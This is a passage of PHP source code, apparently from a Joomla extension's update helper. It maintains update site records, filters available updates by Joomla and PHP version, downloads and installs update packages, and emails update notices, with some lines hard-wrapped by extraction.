if (version_compare(JVERSION, '3.2.0', 'lt') ||
!array_key_exists('extra_query', $columns))
{
unset($update_site['extra_query']);
}
if (version_compare(JVERSION, '2.5.0', 'lt') ||
!array_key_exists('extra_query', $columns))
{
unset($update_site['last_check_timestamp']);
}
// Get the update sites for our extension
$updateSiteIds = $this->getUpdateSiteIds();
if (empty($updateSiteIds))
{
$updateSiteIds = array();
}
/** @var boolean $needNewUpdateSite Do I need to create a new update
site? */
$needNewUpdateSite = true;
/** @var int[] $deleteOldSites Old Site IDs to delete */
$deleteOldSites = array();
// Loop through all update sites
foreach ($updateSiteIds as $id)
{
$query = $db->getQuery(true)
->select('*')
->from($db->qn('#__update_sites'))
->where($db->qn('update_site_id') . ' = ' .
$db->q($id));
$db->setQuery($query);
$aSite = $db->loadObject();
if (empty($aSite))
{
// Update site is now up-to-date, don't need to refresh it
anymore.
continue;
}
// We have an update site that looks like ours
if ($needNewUpdateSite && ($aSite->name ==
$update_site['name']) && ($aSite->location ==
$update_site['location']))
{
$needNewUpdateSite = false;
$mustUpdate = false;
// Is it enabled? If not, enable it.
if (!$aSite->enabled)
{
$mustUpdate = true;
$aSite->enabled = 1;
}
// Do we have the extra_query property (J 3.2+) and does it match?
if (property_exists($aSite, 'extra_query') &&
isset($update_site['extra_query'])
&& ($aSite->extra_query !=
$update_site['extra_query']))
{
$mustUpdate = true;
$aSite->extra_query = $update_site['extra_query'];
}
// Update the update site if necessary
if ($mustUpdate)
{
$db->updateObject('#__update_sites', $aSite,
'update_site_id', true);
}
continue;
}
// In any other case we need to delete this update site, it's
obsolete
$deleteOldSites[] = $aSite->update_site_id;
}
if (!empty($deleteOldSites))
{
try
{
$obsoleteIDsQuoted = array_map(array($db, 'quote'),
$deleteOldSites);
// Delete update sites
$query = $db->getQuery(true)
->delete('#__update_sites')
->where($db->qn('update_site_id') . ' IN
(' . implode(',', $obsoleteIDsQuoted) . ')');
$db->setQuery($query)->execute();
// Delete update sites to extension ID records
$query = $db->getQuery(true)
->delete('#__update_sites_extensions')
->where($db->qn('update_site_id') . ' IN
(' . implode(',', $obsoleteIDsQuoted) . ')');
$db->setQuery($query)->execute();
}
catch (\Exception $e)
{
// Do nothing on failure
return;
}
}
// Do we still need to create a new update site?
if ($needNewUpdateSite)
{
// No update sites defined. Create a new one.
$newSite = (object)$update_site;
$db->insertObject('#__update_sites', $newSite);
$id = $db->insertid();
$updateSiteExtension = (object)array(
'update_site_id' => $id,
'extension_id' => $this->extension_id,
);
$db->insertObject('#__update_sites_extensions',
$updateSiteExtension);
}
}
/**
* Removes any update sites which go by the same name or the same location
as our update site but do not match the
* extension ID.
*/
public function removeObsoleteUpdateSites()
{
$db = $this->getDbo();
// Get update site IDs
$updateSiteIDs = $this->getUpdateSiteIds();
// Find update sites where the name OR the location matches BUT they are
not one of the update site IDs
$query = $db->getQuery(true)
->select($db->qn('update_site_id'))
->from($db->qn('#__update_sites'))
->where(
'((' . $db->qn('name') . ' = ' .
$db->q($this->updateSiteName) . ') OR ' .
'(' . $db->qn('location') . ' = ' .
$db->q($this->updateSite) . '))'
);
if (!empty($updateSiteIDs))
{
$updateSitesQuoted = array_map(array($db, 'quote'),
$updateSiteIDs);
$query->where($db->qn('update_site_id') . ' NOT IN
(' . implode(',', $updateSitesQuoted) . ')');
}
try
{
$ids = $db->setQuery($query)->loadColumn();
if (!empty($ids))
{
$obsoleteIDsQuoted = array_map(array($db, 'quote'), $ids);
// Delete update sites
$query = $db->getQuery(true)
->delete('#__update_sites')
->where($db->qn('update_site_id') . ' IN
(' . implode(',', $obsoleteIDsQuoted) . ')');
$db->setQuery($query)->execute();
// Delete update sites to extension ID records
$query = $db->getQuery(true)
->delete('#__update_sites_extensions')
->where($db->qn('update_site_id') . ' IN
(' . implode(',', $obsoleteIDsQuoted) . ')');
$db->setQuery($query)->execute();
}
}
catch (\Exception $e)
{
// Do nothing on failure
return;
}
}
/**
* Get the update method we should use, 'joomla' or
'classic'
*
* You can defined the preferred update method: 'joomla' uses
JUpdater whereas 'classic' handles update caching and
* parsing internally. If you are on Joomla! 3.1 or earlier this option is
forced to 'classic' since these old
* Joomla! versions couldn't handle updates of commercial components
correctly (that's why I contributed the fix to
* that problem, the extra_query field that's present in Joomla! 3.2
onwards).
*
* If 'classic' is defined then it will be used in *all* Joomla!
versions. It's the most stable method for fetching
* update information.
*
* @param string $preferred Preferred update method. One of
'joomla' or 'classic'.
*
* @return string
*/
public function getUpdateMethod($preferred = null)
{
$method = $preferred;
// Make sure the update fetch method is valid, otherwise load the
component's "update_method" parameter.
$validMethods = array('joomla', 'classic');
if (!in_array($method, $validMethods))
{
$method =
FOFUtilsConfigHelper::getComponentConfigurationValue($this->component,
'update_method', 'joomla');
}
// We can't handle updates using Joomla!'s extensions updater
in Joomla! 3.1 and earlier
if (($method == 'joomla') && version_compare(JVERSION,
'3.2.0', 'lt'))
{
$method = 'classic';
}
return $method;
}
/**
* Find the available update record object. If we're at the latest
version it will return null.
*
* @param bool $force Should I forcibly reload the updates from the
server?
*
* @return \stdClass|null
*/
protected function findUpdatesJoomla($force = false)
{
$db = FOFPlatform::getInstance()->getDbo();
// If we are forcing the reload, set the last_check_timestamp to 0
// and remove cached component update info in order to force a reload
if ($force)
{
// Find the update site IDs
$updateSiteIds = $this->getUpdateSiteIds();
if (empty($updateSiteIds))
{
return null;
}
// Set the last_check_timestamp to 0
if (version_compare(JVERSION, '2.5.0', 'ge'))
{
$query = $db->getQuery(true)
->update($db->qn('#__update_sites'))
->set($db->qn('last_check_timestamp') . ' =
' . $db->q('0'))
->where($db->qn('update_site_id') .' IN
('.implode(', ', $updateSiteIds).')');
$db->setQuery($query);
$db->execute();
}
// Remove cached component update info from #__updates
$query = $db->getQuery(true)
->delete($db->qn('#__updates'))
->where($db->qn('update_site_id') .' IN
('.implode(', ', $updateSiteIds).')');
$db->setQuery($query);
$db->execute();
}
// Use the update cache timeout specified in com_installer
$timeout = 3600 *
FOFUtilsConfigHelper::getComponentConfigurationValue('com_installer',
'cachetimeout', '6');
// Load any updates from the network into the #__updates table
$this->updater->findUpdates($this->extension_id, $timeout);
// Get the update record from the database
$query = $db->getQuery(true)
->select('*')
->from($db->qn('#__updates'))
->where($db->qn('extension_id') . ' = ' .
$db->q($this->extension_id));
$db->setQuery($query);
try
{
$updateObject = $db->loadObject();
}
catch (Exception $e)
{
return null;
}
if (!is_object($updateObject))
{
return null;
}
$updateObject->downloadurl = '';
JLoader::import('joomla.updater.update');
if (class_exists('JUpdate'))
{
$update = new JUpdate();
$update->loadFromXML($updateObject->detailsurl);
if (isset($update->get('downloadurl')->_data))
{
$url = trim($update->downloadurl->_data);
$extra_query = isset($updateObject->extra_query) ?
$updateObject->extra_query : $this->extraQuery;
if ($extra_query)
{
if (strpos($url, '?') === false)
{
$url .= '?';
}
else
{
$url .= '&';
}
$url .= $extra_query;
}
$updateObject->downloadurl = $url;
}
}
return $updateObject;
}
/**
* Find the available update record object. If we're at the latest
version return null.
*
* @param bool $force Should I forcibly reload the updates from the
server?
*
* @return \stdClass|null
*/
protected function findUpdatesClassic($force = false)
{
$allUpdates = $this->loadUpdatesClassic($force);
if (empty($allUpdates))
{
return null;
}
$bestVersion = '0.0.0';
$bestUpdate = null;
$bestUpdateObject = null;
foreach($allUpdates as $update)
{
if (!isset($update['version']))
{
continue;
}
if (version_compare($bestVersion, $update['version'],
'lt'))
{
$bestVersion = $update['version'];
$bestUpdate = $update;
}
}
// If the current version is newer or equal to the best one, unset
it. Otherwise the user will be always prompted to update
if(version_compare($this->version, $bestVersion,
'ge'))
{
$bestUpdate = null;
$bestVersion = '0.0.0';
}
if (!is_null($bestUpdate))
{
$url = '';
if (isset($bestUpdate['downloads']) &&
isset($bestUpdate['downloads'][0])
&&
isset($bestUpdate['downloads'][0]['url']))
{
$url = $bestUpdate['downloads'][0]['url'];
}
if ($this->extraQuery)
{
if (strpos($url, '?') === false)
{
$url .= '?';
}
else
{
$url .= '&';
}
$url .= $this->extraQuery;
}
$bestUpdateObject = (object)array(
'update_id' => 0,
'update_site_id' => 0,
'extension_id' => $this->extension_id,
'name' => $this->updateSiteName,
'description' => $bestUpdate['description'],
'element' => $bestUpdate['element'],
'type' => $bestUpdate['type'],
'folder' =>
count($bestUpdate['folder']) ? $bestUpdate['folder'][0]
: '',
'client_id' =>
isset($bestUpdate['client']) ? $bestUpdate['client'] :
0,
'version' => $bestUpdate['version'],
'data' => '',
'detailsurl' => $this->updateSite,
'infourl' =>
$bestUpdate['infourl']['url'],
'extra_query' => $this->extraQuery,
'downloadurl' => $url,
);
}
return $bestUpdateObject;
}
/**
* Load all available updates without going through JUpdate
*
* @param bool $force Should I forcibly reload the updates from the
server?
*
* @return array
*/
protected function loadUpdatesClassic($force = false)
{
// Is the cache busted? If it is I set $force = true to make sure I
download fresh updates
if (!$force)
{
// Get the cache timeout. On older Joomla! installations it will always
default to 6 hours.
$timeout = 3600 *
FOFUtilsConfigHelper::getComponentConfigurationValue('com_installer',
'cachetimeout', '6');
// Do I need to check for updates?
$lastCheck = $this->getCommonParameter('lastcheck', 0);
$now = time();
if (($now - $lastCheck) >= $timeout)
{
$force = true;
}
}
// Get the cached JSON-encoded updates list
$rawUpdates = $this->getCommonParameter('allUpdates',
'');
// Am I forced to reload the XML file (explicitly or because the cache is
busted)?
if ($force)
{
// Set the timestamp
$now = time();
$this->setCommonParameter('lastcheck', $now);
// Get all available updates
$updateHelper = new FOFUtilsUpdateExtension();
$updates =
$updateHelper->getUpdatesFromExtension($this->updateSite);
// Save the raw updates list in the database
$rawUpdates = json_encode($updates);
$this->setCommonParameter('allUpdates', $rawUpdates);
}
// Decode the updates list
$updates = json_decode($rawUpdates, true);
// Walk through the updates and find the ones compatible with our Joomla!
and PHP version
$compatibleUpdates = array();
// Get the Joomla! version family (e.g. 2.5)
$jVersion = JVERSION;
$jVersionParts = explode('.', $jVersion);
$jVersionShort = $jVersionParts[0] . '.' . $jVersionParts[1];
// Get the PHP version family (e.g. 5.6)
$phpVersion = PHP_VERSION;
$phpVersionParts = explode('.', $phpVersion);
$phpVersionShort = $phpVersionParts[0] . '.' .
$phpVersionParts[1];
foreach ($updates as $update)
{
// No platform?
if (!isset($update['targetplatform']))
{
continue;
}
// Wrong platform?
if ($update['targetplatform']['name'] !=
'joomla')
{
continue;
}
// Get the target Joomla! version
$targetJoomlaVersion =
$update['targetplatform']['version'];
$targetVersionParts = explode('.', $targetJoomlaVersion);
$targetVersionShort = $targetVersionParts[0] . '.' .
$targetVersionParts[1];
// The target version MUST be in the same Joomla! branch
if ($jVersionShort != $targetVersionShort)
{
continue;
}
// If the target version is major.minor.revision we must make sure our
current JVERSION is AT LEAST equal to that.
if (version_compare($targetJoomlaVersion, JVERSION, 'gt'))
{
continue;
}
// Do I have target PHP versions?
if (isset($update['ars-phpcompat']))
{
$phpCompatible = false;
foreach ($update['ars-phpcompat'] as $entry)
{
// Get the target PHP version family
$targetPHPVersion =
$entry['@attributes']['version'];
$targetPHPVersionParts = explode('.', $targetPHPVersion);
$targetPHPVersionShort = $targetPHPVersionParts[0] . '.' .
$targetPHPVersionParts[1];
// The target PHP version MUST be in the same PHP branch
if ($phpVersionShort != $targetPHPVersionShort)
{
continue;
}
// If the target version is major.minor.revision we must make sure our
current PHP_VERSION is AT LEAST equal to that.
if (version_compare($targetPHPVersion, PHP_VERSION, 'gt'))
{
continue;
}
$phpCompatible = true;
break;
}
if (!$phpCompatible)
{
continue;
}
}
// All checks pass. Add this update to the list of compatible updates.
$compatibleUpdates[] = $update;
}
return $compatibleUpdates;
}
/**
* Get a common parameter from the #__akeeba_common table
*
* @param string $key The key to retrieve
* @param mixed $default The default value in case none is set
*
* @return mixed The saved parameter value (or $default, if nothing is
currently set)
*/
protected function getCommonParameter($key, $default = null)
{
$dbKey = $this->commonKey . '_autoupdate_' . $key;
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true)
->select($db->qn('value'))
->from($db->qn($this->commonTable))
->where($db->qn('key') . ' = ' .
$db->q($dbKey));
$result = $db->setQuery($query)->loadResult();
if (!$result)
{
return $default;
}
return $result;
}
/**
* Set a common parameter from the #__akeeba_common table
*
* @param string $key The key to set
* @param mixed $value The value to set
*
* @return void
*/
protected function setCommonParameter($key, $value)
{
$dbKey = $this->commonKey . '_autoupdate_' . $key;
$db = FOFPlatform::getInstance()->getDbo();
$query = $db->getQuery(true)
->select('COUNT(*)')
->from($db->qn($this->commonTable))
->where($db->qn('key') . ' = ' .
$db->q($dbKey));
$count = $db->setQuery($query)->loadResult();
if ($count)
{
$query = $db->getQuery(true)
->update($db->qn($this->commonTable))
->set($db->qn('value') . ' = ' .
$db->q($value))
->where($db->qn('key') . ' = ' .
$db->q($dbKey));
$db->setQuery($query)->execute();
}
else
{
$data = (object)array(
'key' => $dbKey,
'value' => $value,
);
$db->insertObject($this->commonTable, $data);
}
}
/**
* Proxy to updateComponent(). Required since old versions of our software
had an updateComponent method declared
* private. If we set the updateComponent() method public we cause a fatal
error.
*
* @return string
*/
public function doUpdateComponent()
{
return $this->updateComponent();
}
/**
* Automatically install the extension update under Joomla! 1.5.5 or later
(web) / 3.0 or later (CLI).
*
* @return string The update message
*/
private function updateComponent()
{
$isCli = FOFPlatform::getInstance()->isCli();
$minVersion = $isCli ? '3.0.0' : '1.5.5';
$errorQualifier = $isCli ? ' using an unattended CLI CRON script
' : ' ';
if (version_compare(JVERSION, $minVersion, 'lt'))
{
return "Extension updates{$errorQualifier}only work with Joomla!
$minVersion and later.";
}
try
{
$updatePackagePath = $this->downloadUpdate();
}
catch (Exception $e)
{
return $e->getMessage();
}
// Unpack the downloaded package file
jimport('joomla.installer.helper');
jimport('cms.installer.helper');
$package = JInstallerHelper::unpack($updatePackagePath);
if (!$package)
{
// Clean up
if (JFile::exists($updatePackagePath))
{
JFile::delete($updatePackagePath);
}
return "An error occurred while unpacking the file. Please double
check your Joomla temp-directory setting in Global Configuration.";
}
$installer = new JInstaller;
$installed = $installer->install($package['extractdir']);
// Let's cleanup the downloaded archive and the temp folder
if (JFolder::exists($package['extractdir']))
{
JFolder::delete($package['extractdir']);
}
if (JFile::exists($package['packagefile']))
{
JFile::delete($package['packagefile']);
}
if ($installed)
{
return "Component successfully updated";
}
else
{
return "An error occurred while trying to update the
component";
}
}
/**
* Downloads the latest update package to Joomla!'s temporary
directory
*
* @return string The absolute path to the downloaded update package.
*/
public function downloadUpdate()
{
// Get the update URL
$updateInformation = $this->getUpdates();
$url = $updateInformation['downloadURL'];
if (empty($url))
{
throw new RuntimeException("No download URL was provided in the
update information");
}
$config = JFactory::getConfig();
$tmp_dest = $config->get('tmp_path');
if (!$tmp_dest)
{
throw new RuntimeException("You must set a non-empty Joomla!
temp-directory in Global Configuration before continuing.");
}
if (!JFolder::exists($tmp_dest))
{
throw new RuntimeException("Joomla!'s temp-directory does not
exist. Please set the correct path in Global Configuration before
continuing.");
}
// Get the target filename
$filename = $this->component . '.zip';
$filename = rtrim($tmp_dest, '\\/') . '/' .
$filename;
try
{
$downloader = new FOFDownload();
$data = $downloader->getFromURL($url);
}
catch (Exception $e)
{
$code =$e->getCode();
$message =$e->getMessage();
throw new RuntimeException("An error occurred while trying to
download the update package. Double check your Download ID and your
server's network settings. The error message was: #$code:
$message");
}
if (!JFile::write($filename, $data))
{
if (!file_put_contents($filename, $data))
{
throw new RuntimeException("Joomla!'s temp-directory is not
writeable. Please check its permissions or set a different, writeable path
in Global Configuration before continuing.");
}
}
return $filename;
}
/**
* Gets a file name out of a url
*
* @param string $url URL to get name from
*
* @return mixed String filename or boolean false if failed
*/
private function getFilenameFromURL($url)
{
if (is_string($url))
{
$parts = explode('/', $url);
return $parts[count($parts) - 1];
}
return false;
}
/**
* Proxy to sendNotificationEmail(). Required since old versions of our
software had a sendNotificationEmail method
* declared private. If we set the sendNotificationEmail() method public
we cause a fatal error.
*
* @param string $version The new version of our software
* @param string $email The email address to send the notification
to
*
* @return mixed The result of JMail::send()
*/
public function doSendNotificationEmail($version, $email)
{
try
{
return $this->sendNotificationEmail($version, $email);
}
catch (\Exception $e)
{
// Joomla! 3.5 is buggy
}
}
/**
* Sends an update notification email
*
* @param string $version The new version of our software
* @param string $email The email address to send the notification
to
*
* @return mixed The result of JMail::send()
*/
private function sendNotificationEmail($version, $email)
{
$email_subject = $this->updateEmailSubject;
$email_body = $this->updateEmailBody;
$jconfig = JFactory::getConfig();
$sitename = $jconfig->get('sitename');
$substitutions = array(
'[VERSION]' => $version,
'[SITENAME]' => $sitename,
'[COMPONENT]' => $this->componentDescription,
);
$email_subject = str_replace(array_keys($substitutions),
array_values($substitutions), $email_subject);
$email_body = str_replace(array_keys($substitutions),
array_values($substitutions), $email_body);
$mailer = JFactory::getMailer();
$mailfrom = $jconfig->get('mailfrom');
$fromname = $jconfig->get('fromname');
$mailer->setSender(array( $mailfrom, $fromname ));
$mailer->addRecipient($email);
$mailer->setSubject($email_subject);
$mailer->setBody($email_body);
return $mailer->Send();
}
}